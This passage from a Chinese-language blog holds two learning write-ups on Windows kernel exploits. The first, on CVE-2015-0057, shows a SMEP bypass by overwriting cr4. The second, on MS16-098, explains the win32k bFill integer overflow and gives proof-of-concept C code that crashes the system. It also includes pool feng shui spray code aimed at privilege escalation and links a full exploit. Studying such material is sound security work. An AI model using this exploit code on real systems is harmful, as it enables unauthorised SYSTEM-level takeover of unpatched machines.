<span class="n">fffff802</span><span class="err">`</span><span class="mo">005</span><span class="n">f97cf</span> <span class="mi">4883</span><span class="n">c428</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">28</span><span class="n">h</span>
<span class="n">fffff802</span><span class="err">`</span><span class="mo">005</span><span class="n">f97d3</span> <span class="n">c3</span> <span class="n">ret</span>
</code></pre></div></div>
<p>cr4 是决定 SMEP 的关键寄存器,将 cr4 第20位 bit 设置位 0,cr4 的值为 0x406f8,然后返回地址用 shellcode
地址传参压入栈中,完美的跳转执行了 shellcode。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="n">newcr4</span> <span class="o">=</span> <span class="mh">0x406f8</span><span class="p">;</span>
<span class="n">NtQueryIntervalProfile</span><span class="p">(</span><span class="n">shellcodeaddress</span><span class="p">,</span> <span class="p">(</span><span class="n">PULONG</span><span class="p">)</span><span class="o">&</span><span class="n">newcr4</span><span class="p">);</span>
</code></pre></div></div>
<p>最终结果验证</p>
<p><img src="/images/2018-11-9/poc.gif" alt="" /></p>
<p>完整的漏洞利用代码在 <a href="https://github.com/0x3f97/windows-kernel-exploit/tree/master/cve-2015-0057">github</a> 上。</p>
<h1 id="summary">Summary</h1>
<p>整个分析过程耗时非常之久(卒,总是想要弄清楚漏洞的每个细节,从漏洞成因到触发漏洞边看资料边调都花了大量时间,
然后一直到 stage2 调整堆风水覆盖 strBuffer 的阶段,我从一边写记录一边调利用转向了完全专注于利用的开发,
其实我只做了堆风水布局的调整,其他部分像内核地址的泄露、shellcode 的执行都是照抄已有的 exp 代码(逃。
虽然我现在的进度很慢,我还是会尽最大努力继续学习 win kernel,向 wjllz 师傅还有其他很多都很厉害的师傅学习QvQ !</p>
<h1 id="reference">Reference</h1>
<ul>
<li>漏洞发现者 Udi Yavo of enSilo 的 <a href="https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit">分析</a></li>
<li>Ncc group 详细利用分析的 <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/">writeup</a></li>
<li><a href="https://bbs.pediy.com/thread-247281.htm">windows 内核系列二: cve-2015-0057 ==> DDCTF kernel pwn第二题</a></li>
<li>win8.1 x64 下完整利用 <a href="http://hdwsec.fr/blog/20151217-ms15-010/">[MS15-010 / CVE-2015-0057] EXPLOITATION</a></li>
</ul>0x3f97@gmail.comIntroductionwindows kernel exploit case study MS16-0982018-10-17T00:00:00+00:002018-10-17T00:00:00+00:00https://0x3f97.github.io/exploit/2018/10/17/windows-kernel-exploit-case-study-ms16-098<h1 id="introduction">Introduction</h1>
<p>初步接触 windows 内核漏洞利用,我的想法是找一个带有分析的可利用的漏洞来学习,正好找到了MS16-098。</p>
<p>参考的文章:</p>
<ul>
<li>
<p><a href="https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/">Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects</a></p>
</li>
<li>
<p><a href="http://repwn.com/archives/26/">Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用</a></p>
</li>
</ul>
<p>这个洞是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用 GDI objects 技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。</p>
<p>开始之前我们需要做一些准备:</p>
<ul>
<li>
<p>windows 8.1 x64 & vmware</p>
</li>
<li>
<p>Virtual KD <a href="http://virtualkd.sysprogs.org/">http://virtualkd.sysprogs.org/</a> 用于辅助对虚拟机系统进行内核调试</p>
</li>
<li>
<p>windbg</p>
</li>
</ul>
<h1 id="analysing-the-patch-and-bug">Analysing the Patch and bug</h1>
<p>从 <a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098">Security Bulletin MS16-098</a> 页面下载
对应的<a href="https://www.microsoft.com/en-us/download/details.aspx?id=53491">补丁安装程序</a>,用 <code class="highlighter-rouge">expand</code> 命令提取其中的文件:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>expand -F:* windows8.1-kb3177725-x64 .
expand -F:* Windows8.1-KB3177725-x64.cab .
</code></pre></div></div>
<p><img src="/images/2018-10-17/expand.png" alt="" /></p>
<p>这样获取到了 patch 之后的 win32k.sys 文件,我们用 ida 对旧版和 patch 版的 win32k.sys 进行分析。</p>
<p>根据文章中的信息,漏洞存在于 <code class="highlighter-rouge">win32k!bFill</code> 函数中,</p>
<p><img src="/images/2018-10-17/bug.png" alt="" /></p>
<p>如图中的代码, 当 eax 的值大于14则跳转执行</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lea ecx, [rax+rax*2]
shl ecx, 4
</code></pre></div></div>
<p>这就相当于</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">eax</span> <span class="o">></span> <span class="mi">14</span><span class="p">)</span> <span class="p">{</span>
<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="n">eax</span> <span class="o">*</span> <span class="mi">3</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>若控制 eax 的值为 <code class="highlighter-rouge">0x10000001</code> 那么由于整数溢出表达式的运算结果为 <code class="highlighter-rouge">0x30</code>, 被当做请求分配的内存大小参数,这样导致申请了一个较小的 <code class="highlighter-rouge">pool</code>,
但是可以输入的大小远远超过申请的大小,从而产生了池溢出。</p>
<p>再来看看 patch 的版本,</p>
<p><img src="/images/2018-10-17/patch.png" alt="" /></p>
<p>增加了用于检测整数溢出的函数 <code class="highlighter-rouge">UlongMult3</code>,该函数将参数中两个32位整数相乘,若结果大于 <code class="highlighter-rouge">0xffffffff</code> 则判断发生溢出,返回错误。</p>
<p>现在我们需要知道参数是否可控,如何触发漏洞?内核漏洞利用相当复杂,需要分为多个步骤,总的思路如下:</p>
<ul>
<li>
<ol>
<li>触发漏洞函数</li>
</ol>
</li>
<li>
<ol>
<li>控制内存分配大小</li>
</ol>
</li>
<li>
<ol>
<li>内核池风水</li>
</ol>
</li>
<li>
<ol>
<li>借助 bitmap Gdi objects</li>
</ol>
</li>
<li>
<ol>
<li>获取 system token 完成权限提升</li>
</ol>
</li>
</ul>
<h1 id="trigger-the-vulnerable-function">Trigger the Vulnerable Function</h1>
<p>直接从文章中可以知道到达 <code class="highlighter-rouge">bFill</code> 函数的调用链,感谢作者,如果让我自己分析,怕是啥都看不出来。作者使用推测和搜索大法,
由函数名 “bFill” 和函数参数中 <code class="highlighter-rouge">EPATHOBJ</code> 对象猜测函数的作用可能是填充路径,结合搜索找到了函数 <code class="highlighter-rouge">BeginPath</code>。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bFill@<rax>(struct EPATHOBJ *@<rcx>, struct _RECTL *@<rdx>, unsigned int@<r8d>, void (__stdcall *)(struct _RECTL *, unsigned int, void *)@<r9>, void *)
</code></pre></div></div>
<p>用如下 poc 代码可以触发 <code class="highlighter-rouge">bFill</code> 函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="c1">//Create a Point array
</span> <span class="k">static</span> <span class="n">POINT</span> <span class="n">points</span><span class="p">[</span><span class="mh">0x10001</span><span class="p">];</span>
<span class="c1">// Get Device context of desktop hwnd
</span> <span class="n">HDC</span> <span class="n">hdc</span> <span class="o">=</span> <span class="n">GetDC</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
<span class="c1">// Get a compatible Device Context to assign Bitmap to
</span> <span class="n">HDC</span> <span class="n">hMemDC</span> <span class="o">=</span> <span class="n">CreateCompatibleDC</span><span class="p">(</span><span class="n">hdc</span><span class="p">);</span>
<span class="c1">// Create Bitmap Object
</span> <span class="n">HGDIOBJ</span> <span class="n">bitmap</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="c1">// Select the Bitmap into the Compatible DC
</span> <span class="n">HGDIOBJ</span> <span class="n">bitobj</span> <span class="o">=</span> <span class="p">(</span><span class="n">HGDIOBJ</span><span class="p">)</span><span class="n">SelectObject</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">,</span> <span class="n">bitmap</span><span class="p">);</span>
<span class="c1">//Begin path
</span> <span class="n">BeginPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="n">PolylineTo</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">,</span> <span class="n">points</span><span class="p">,</span> <span class="mh">0x10001</span><span class="p">);</span>
<span class="c1">// End the path
</span> <span class="n">EndPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="c1">// Fill the path
</span> <span class="n">FillPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这里注意对 win32k.sys 要下硬件断点,到达断点后查看栈回溯</p>
<p><img src="/images/2018-10-17/calltrace.png" alt="" /></p>
<p>那么可以知道到达 <code class="highlighter-rouge">bFill</code> 函数的调用链为</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()
</code></pre></div></div>
<p>在 <code class="highlighter-rouge">EngFastFill</code> 中还有一个分支语句分别会调用 <code class="highlighter-rouge">bPaintPath</code>、<code class="highlighter-rouge">bBrushPath</code> 或者 <code class="highlighter-rouge">bBrushPathN_8x8</code>,
这取决于 brush 对象是否和 hdc 有关联。在这之前还会检查一下 hdc 设备上下文的类型,总共有四种类型:</p>
<ul>
<li>
<p>Printer</p>
</li>
<li>
<p>Display (默认情况下的类型)</p>
</li>
<li>
<p>Information</p>
</li>
<li>
<p>Memory (这种类型支持在 bitmap 对象上进行画图操作)</p>
</li>
</ul>
<h1 id="controlling-the-allocation-size">Controlling the Allocation Size</h1>
<p>在之前对 patch 进行对比分析的时候我们已经知道了漏洞产生的具体情况了,主要是这步操作 <code class="highlighter-rouge">lea ecx, [rax+rax*2]</code>,
它的操作数为32位,然后是对操作数乘以3,而 ecx 寄存器所能存储的最大值为 0xffffffff,那么在不发生溢出的情况下,
我们所能输入的极限就是:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xffffffff / 3 = 0x55555555
</code></pre></div></div>
<p>只要输入大于这个值,就会触发整数溢出:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x55555556 * 3 = 0x100000002
</code></pre></div></div>
<p>再加上左移4位,相当于除以0x10,那么我们理想的输入就是:</p>
<p>(0x5555556 * 3) = 0x10000002</p>
<p>0x10000002 « 4 = 0x20 (32bit register value)</p>
<p>现在修改我们的代码,调整 PATH 对象中 points 结构的数量,如下代码会触发分配 0x50 字节大小的空间:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="c1">//Create a Point array
</span> <span class="k">static</span> <span class="n">POINT</span> <span class="n">points</span><span class="p">[</span><span class="mh">0x3fe01</span><span class="p">];</span>
<span class="n">points</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">x</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">points</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">y</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="c1">// Get Device context of desktop hwnd
</span> <span class="n">HDC</span> <span class="n">hdc</span> <span class="o">=</span> <span class="n">GetDC</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
<span class="c1">// Get a compatible Device Context to assign Bitmap to
</span> <span class="n">HDC</span> <span class="n">hMemDC</span> <span class="o">=</span> <span class="n">CreateCompatibleDC</span><span class="p">(</span><span class="n">hdc</span><span class="p">);</span>
<span class="c1">// Create Bitmap Object
</span> <span class="n">HGDIOBJ</span> <span class="n">bitmap</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="c1">// Select the Bitmap into the Compatible DC
</span> <span class="n">HGDIOBJ</span> <span class="n">bitobj</span> <span class="o">=</span> <span class="p">(</span><span class="n">HGDIOBJ</span><span class="p">)</span><span class="n">SelectObject</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">,</span> <span class="n">bitmap</span><span class="p">);</span>
<span class="c1">//Begin path
</span> <span class="n">BeginPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="c1">// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="mh">0x156</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">PolylineTo</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">,</span> <span class="n">points</span><span class="p">,</span> <span class="mh">0x3FE01</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// End the path
</span> <span class="n">EndPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="c1">// Fill the path
</span> <span class="n">FillPath</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>为什么是 0x50 字节呢?我们来算一下:</p>
<p>循环调用 <code class="highlighter-rouge">PolylineTo</code> 函数 0x156 次的情况下 points 的数量为</p>
<p>0x3fe01 * 0x156 = 0x5555556</p>
<p>但是在调试过程中发现程序会额外添加一个,所以计算时操作数的的值为 0x5555557,结果则是</p>
<p>0x5555557 * 3 = 0x10000005</p>
<p>0x10000005 « 4 = 0x50 (32bit)</p>
<p>那么程序为 points 对象分配的空间大小为 0x50 字节,却可以复制 0x5555557 个 points 对象到分配的空间,
果然在运行 poc 代码后,系统出现了 BSOD!</p>
<h1 id="kernel-pool-feng-shui">Kernel Pool Feng Shui</h1>
<p>接下来进入到比较难也很关键的步骤:内核池风水</p>
<p>池风水是一项用来确定内存布局的技术,在分配目标对象之前,先在内存中分配和释放一些内存,空出来一些空间,
让目标对象在下一次分配时被分配到指定的位置。现在的思路是通过池风水让目标对象于受控制对象相邻,
然后通过溢出覆盖到目标对象,更改关键数据结构获得任意地址读写。这也是开头提到的 Gdi objects,
这里选用 bitmap 对象,它的池标记为 Gh05,池类型为 Paged Session Pool,
可以用 SetBitmapBits/GetBitmapBits 函数读/写任意地址,具体可以参考
CoreLabs 的文章 <a href="https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/">Abusing GDI for ring0 exploit primitives</a>
还有 KeenTeam 的 <a href="http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes">This Time Font hunt you down in 4 bytes</a></p>
<p>而 crash 的具体原因是 bFill 函数结束时分配的对象被释放掉,对象释放时会检查相邻对象的 pool header,但是溢出会把它破坏掉,
从而触发异常 BAD_POOL_HEADER 然后就 BSOD 了。</p>
<p>有一个办法可以防止检查时触发异常,那就是让目标对象分配在内存页的末尾。这样在对象被释放时就不会有 next chunk
从而正常释放。 要完成这样的池风水需要知道以下几个关键点:</p>
<ul>
<li>
<p>内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池</p>
</li>
<li>
<p>任何请求大小超过 0x808 字节会被分配到内存页的起始处</p>
</li>
<li>
<p>连续的请求会从页的末尾分配</p>
</li>
<li>
<p>分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。</p>
</li>
</ul>
<p>现在我们来看看怎样完成内核池风水,以及它的运作原理,看一下如下利用代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">fungshuei</span><span class="p">()</span> <span class="p">{</span>
<span class="n">HBITMAP</span> <span class="n">bmp</span><span class="p">;</span>
<span class="c1">// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bmp</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mi">1670</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">// 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
</span> <span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">bmp</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">HACCEL</span> <span class="n">hAccel</span><span class="p">,</span> <span class="n">hAccel2</span><span class="p">;</span>
<span class="n">LPACCEL</span> <span class="n">lpAccel</span><span class="p">;</span>
<span class="c1">// Initial setup for pool fengshui.
</span> <span class="n">lpAccel</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPACCEL</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">ACCEL</span><span class="p">));</span>
<span class="n">SecureZeroMemory</span><span class="p">(</span><span class="n">lpAccel</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ACCEL</span><span class="p">));</span>
<span class="c1">// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
</span> <span class="n">HACCEL</span> <span class="o">*</span><span class="n">pAccels</span> <span class="o">=</span> <span class="p">(</span><span class="n">HACCEL</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HACCEL</span><span class="p">)</span> <span class="o">*</span> <span class="mi">7000</span><span class="p">);</span>
<span class="n">HACCEL</span> <span class="o">*</span><span class="n">pAccels2</span> <span class="o">=</span> <span class="p">(</span><span class="n">HACCEL</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HACCEL</span><span class="p">)</span> <span class="o">*</span> <span class="mi">7000</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">INT</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">7000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">hAccel</span> <span class="o">=</span> <span class="n">CreateAcceleratorTableA</span><span class="p">(</span><span class="n">lpAccel</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">hAccel2</span> <span class="o">=</span> <span class="n">CreateAcceleratorTableW</span><span class="p">(</span><span class="n">lpAccel</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">pAccels</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">hAccel</span><span class="p">;</span>
<span class="n">pAccels2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">hAccel2</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Delete the allocated bitmaps to free space at beginning of pages
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DeleteObject</span><span class="p">(</span><span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]);</span>
<span class="p">}</span>
<span class="c1">//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CreateEllipticRgn</span><span class="p">(</span><span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">//size = 0xbc0
</span> <span class="p">}</span>
<span class="c1">// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bmp</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mh">0x52</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">//size = 3c0
</span> <span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">bmp</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">1700</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//1500
</span> <span class="n">AllocateClipBoard2</span><span class="p">(</span><span class="mh">0x30</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">2000</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">4000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DestroyAcceleratorTable</span><span class="p">(</span><span class="n">pAccels</span><span class="p">[</span><span class="n">k</span><span class="p">]);</span>
<span class="n">DestroyAcceleratorTable</span><span class="p">(</span><span class="n">pAccels2</span><span class="p">[</span><span class="n">k</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span><span class="n">x3222222222222222</span>
</code></pre></div></div>
<p>要清楚的看到分配/释放的流程,一图胜千言</p>
<p><img src="/images/2018-10-17/animation.gif" alt="" /></p>
<p>我们一个一个函数来看,第一步是这样的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">HBITMAP</span> <span class="n">bmp</span><span class="p">;</span>
<span class="c1">// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bmp</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mi">1670</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">// 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
</span> <span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">bmp</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>先分配了5000个大小为 0xf80 字节的 bitmap 对象,这样达到的效果是循环分配新的内存页面,
每个页面以 0xf80 字节大小的 bitmap 对象为开始,在页面末尾留下 0x80 大小的空间。
为了检查内存喷射是否有效,可以在 bFill 函数中调用 PALLOCMEM 函数后下断点,
然后用命令 `!poolused 0x8 Gh?5 来查看分配了多少个 bitmap 对象。</p>
<p>另外有关 bitmap 对象在内核池中的大小的计算在之前提到过
CoreLabs 有关使用 gdi 对象技术的文章中有详细说明,结合这篇文章
<a href="http://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-bitmap-objects-size.html">Abusing GDI objects: Bitmap object’s size in the kernel pool</a>
大概知道是怎么算的,不过还有点没弄清楚,先不管了。
文章作者也提到 <a href="https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom">Windows Graphics Programming: Win32 GDI and DirectDraw</a>
一书中有详细的计算方法,但是也可以用最直接的办法,不断的试错,尝试用不同的参数运行,
看看会分配多大的内存。</p>
<p>看下 <code class="highlighter-rouge">CreateBitmap</code> 函数的定义:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HBITMAP</span> <span class="n">CreateBitmap</span><span class="p">(</span>
<span class="kt">int</span> <span class="n">nWidth</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">nHeight</span><span class="p">,</span>
<span class="n">UINT</span> <span class="n">nPlanes</span><span class="p">,</span>
<span class="n">UINT</span> <span class="n">nBitCount</span><span class="p">,</span>
<span class="k">const</span> <span class="n">VOID</span> <span class="o">*</span><span class="n">lpBits</span>
<span class="p">);</span>
</code></pre></div></div>
<p>其中 <code class="highlighter-rouge">nPlanes</code> 和 <code class="highlighter-rouge">nBitCount</code> 参数大多数情况下都分别默认设置为 1 和 NULL,那这两个参数保持不变,
剩下的参数决定了 bitmap 对象在内存中的大小,我现在是 win8.1 的系统,在 poc 代码中添加如下代码,
运行 <code class="highlighter-rouge">CreateBitmap(1670, 2, 1, 8, NULL);</code> 试试:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">HBITMAP</span> <span class="n">bitmaps</span><span class="p">[</span><span class="mi">5000</span><span class="p">];</span>
<span class="kt">void</span> <span class="nf">fengshui</span><span class="p">()</span> <span class="p">{</span>
<span class="n">HBITMAP</span> <span class="n">bmp</span><span class="p">;</span>
<span class="n">bmp</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mi">1670</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">bmp</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"bmp: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">bmp</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>先在虚拟机里用 windbg 打开 poc.exe 在创建完 bitmap 对象之后断下</p>
<p><img src="/images/2018-10-17/bmp_handle.png" alt="" /></p>
<p>根据打印出的 bitmap handle 在宿主机上用 windbg 查找 bitmap 对象在内存中的位置,
bitmap handle 的最后两个字节实际上是 GdiSharedHandleTable 数组的索引,当 bitmap
被创建时会将对象的地址添加到这个数组中,可以在进程的 PEB 基址下找到这个数组。
通过句柄,我们可以知道它在表上的存放的地址:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
</code></pre></div></div>
<p><img src="/images/2018-10-17/bmp_size.png" alt="" /></p>
<p>发现确实和预料的一样,bitmap 对象大小为 0xf80 字节,现在用参数来算一下</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">nWidth</span> <span class="o">=</span> <span class="mi">1670</span>
<span class="n">nHeight</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">nBitCount</span> <span class="o">=</span> <span class="mi">8</span>
